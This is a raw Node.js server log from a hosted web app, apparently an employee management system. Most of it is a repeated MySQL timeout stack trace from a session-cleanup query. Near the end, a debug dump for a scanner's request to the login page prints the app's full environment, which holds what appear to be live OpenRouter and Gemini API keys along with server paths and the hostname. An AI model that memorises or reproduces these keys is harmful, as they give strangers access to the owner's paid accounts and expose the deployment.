    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-09 19:49:05' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-09 20:34:39' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-09 20:34:39' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-09 21:06:00' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-09 21:06:00' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-09 21:54:04' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-09 21:54:04' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-09 22:00:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-09 22:00:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-09 23:39:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-09 23:39:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-10 00:12:00' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-10 00:12:00' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-10 01:10:39' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-10 01:10:39' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-10 02:43:04' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-10 02:43:04' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-10 03:59:01' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-10 03:59:01' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-10 04:37:01' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-10 04:37:01' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-10 05:17:39' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-10 05:17:39' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-10 05:21:01' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-10 05:21:01' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-10 07:18:05' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-10 07:18:05' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-10 11:09:39' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-10 11:09:39' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-10 11:18:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-10 11:18:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-10 12:06:05' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-10 12:06:05' as DATETIME)"
}
2026-01-10T12:23:18.868Z server-connect:router Serving templateView /
2026-01-10T12:23:18.869Z server-connect:app Executing action step identify
2026-01-10T12:23:18.870Z server-connect:app options: { provider: 'security' }
2026-01-10T12:23:18.870Z server-connect:auth No login cookie found
2026-01-10T12:23:18.870Z server-connect:output identity: false
2026-01-10T12:23:18.870Z server-connect:app Executing action step restrict
2026-01-10T12:23:18.870Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-10T12:23:18.870Z server-connect:output restrict: undefined
2026-01-10T12:23:19.921Z server-connect:router Serving templateView /login
2026-01-10T12:23:19.921Z server-connect:app Executing action step identify
2026-01-10T12:23:19.921Z server-connect:app options: { provider: 'security' }
2026-01-10T12:23:19.921Z server-connect:auth No login cookie found
2026-01-10T12:23:19.921Z server-connect:output identity: false
2026-01-10T12:23:19.921Z server-connect:router Render template layouts/authentication
2026-01-10T12:23:19.922Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '167.94.138.176',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-11T12:23:19.920Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '167.94.138.176',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '167.94.138.176',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-10 12:28:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
